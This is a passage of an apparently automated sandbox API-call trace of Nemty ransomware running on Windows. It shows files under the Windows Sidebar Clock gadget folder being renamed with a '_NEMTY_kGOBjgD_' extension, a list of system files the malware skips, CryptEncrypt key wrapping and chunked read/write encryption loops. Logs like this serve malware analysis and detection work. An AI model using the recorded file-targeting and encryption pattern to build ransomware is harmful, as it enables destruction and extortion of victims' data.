lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.723] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.723] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.733] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.733] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.742] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.742] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.748] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.748] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.748] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.754] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.754] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63403e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0121.754] CloseHandle (hObject=0xffffffff) returned 0 [0121.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0121.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0121.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0121.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0121.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0121.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0121.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63440a0 [0121.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344158 [0121.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0121.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0121.755] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_settings.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_settings.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_settings.png._nemty_kgobjgd_")) returned 0 [0121.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0121.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0121.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0121.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0121.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0121.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0121.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0121.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0121.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0121.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.755] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82ba873f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82ba873f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c5ddf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x519b, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="system.png", cAlternateFileName="")) returned 1 [0121.755] lstrcmpiW (lpString1="system.png", lpString2=".") returned 1 [0121.755] lstrcmpiW (lpString1="system.png", lpString2="..") returned 1 [0121.755] lstrcmpiW (lpString1="system.png", lpString2="...") returned 1 [0121.755] lstrcmpiW (lpString1="system.png", lpString2="windows") returned -1 [0121.755] lstrcmpiW (lpString1="system.png", lpString2="$RECYCLE.BIN") returned 1 [0121.755] lstrcmpiW (lpString1="system.png", lpString2="rsa") returned 1 [0121.755] lstrcmpiW (lpString1="system.png", lpString2="NTDETECT.COM") returned 1 [0121.755] lstrcmpiW (lpString1="system.png", lpString2="ntldr") returned 1 [0121.755] lstrcmpiW (lpString1="system.png", lpString2="MSDOS.SYS") returned 1 [0121.755] lstrcmpiW (lpString1="system.png", lpString2="IO.SYS") returned 1 [0121.756] lstrcmpiW (lpString1="system.png", lpString2="boot.ini") returned 1 [0121.756] lstrcmpiW (lpString1="system.png", lpString2="boot.ini") returned 1 [0121.756] lstrcmpiW (lpString1="system.png", lpString2="AUTOEXEC.BAT") returned 1 [0121.756] lstrcmpiW (lpString1="system.png", lpString2="ntuser.dat") returned 1 [0121.756] lstrcmpiW (lpString1="system.png", lpString2="desktop.ini") returned 1 [0121.756] lstrcmpiW (lpString1="system.png", lpString2="CONFIG.SYS") returned 1 [0121.756] lstrcmpiW (lpString1="system.png", lpString2="RECYCLER") returned 1 [0121.756] lstrcmpiW (lpString1="system.png", lpString2="BOOTSECT.BAK") returned 1 [0121.756] lstrcmpiW (lpString1="system.png", lpString2="bootmgr") returned 1 [0121.756] lstrcmpiW (lpString1="system.png", lpString2="programdata") returned 1 [0121.756] lstrcmpiW (lpString1="system.png", lpString2="appdata") returned 1 [0121.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0121.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system.png", lpUsedDefaultChar=0x0) returned 10 [0121.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0121.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0121.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system.png", lpUsedDefaultChar=0x0) returned 10 [0121.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0121.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0121.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system.png", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system.png", lpUsedDefaultChar=0x0) returned 10 [0121.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0121.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system.png", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system.png", lpUsedDefaultChar=0x0) returned 10 [0121.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0121.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0121.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0121.756] Sleep (dwMilliseconds=0x5) [0121.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfc3a71f0, dwHighDateTime=0x1d561e7)) [0121.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfc3a71f0, dwHighDateTime=0x1d561e7)) [0121.778] GetLastError () returned 0x5 [0121.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0121.778] GetLastError () returned 0x5 [0121.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0121.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0121.778] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0121.778] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0121.779] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0121.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0121.779] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="cnd60aoTjhIyLrJWDKpus7HA6y2cpZhB0memTA6NSq2BPMgrnEnj7lUsSKLS10p0\r\noTlWrxTpDDLCVjXSXhoknhoM62/D6LVYyU+0npHadbwrt/ybW6VnJWPzcqFBVoXy\r\ntR1FXHDbMxTIFB+6Wq5MyTL9apLj9Na2u/QZiGBvbzV0+1mGrDsfJSgKuNuPV82P\r\nlInbIieOAe3gWGgOk8J88h1bCu/sRNljRyN4nRuB2IeUvWrfA6p6GrJwb1mn1x3z\r\nra2xHE2l0J42OVXFu3eiD9YgMk3DcLQc3ynkDE0jrzmIl7rRDDO9EKyXRoUChKJV\r\nGYihuqDzz3fknZh5leeFrQ==\r\n", pcchString=0x653e91c) returned 1 [0121.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0121.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0121.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0121.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0121.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0121.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0121.779] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.779] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0121.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0121.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.779] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.788] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.789] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.807] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.807] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.807] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.817] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.817] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.826] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.826] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.835] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.835] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.845] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.845] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.845] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.855] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.855] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.855] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.865] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.865] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.874] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.874] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.875] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.881] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.881] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.887] WriteFile (in: hFile=0xffffffff, 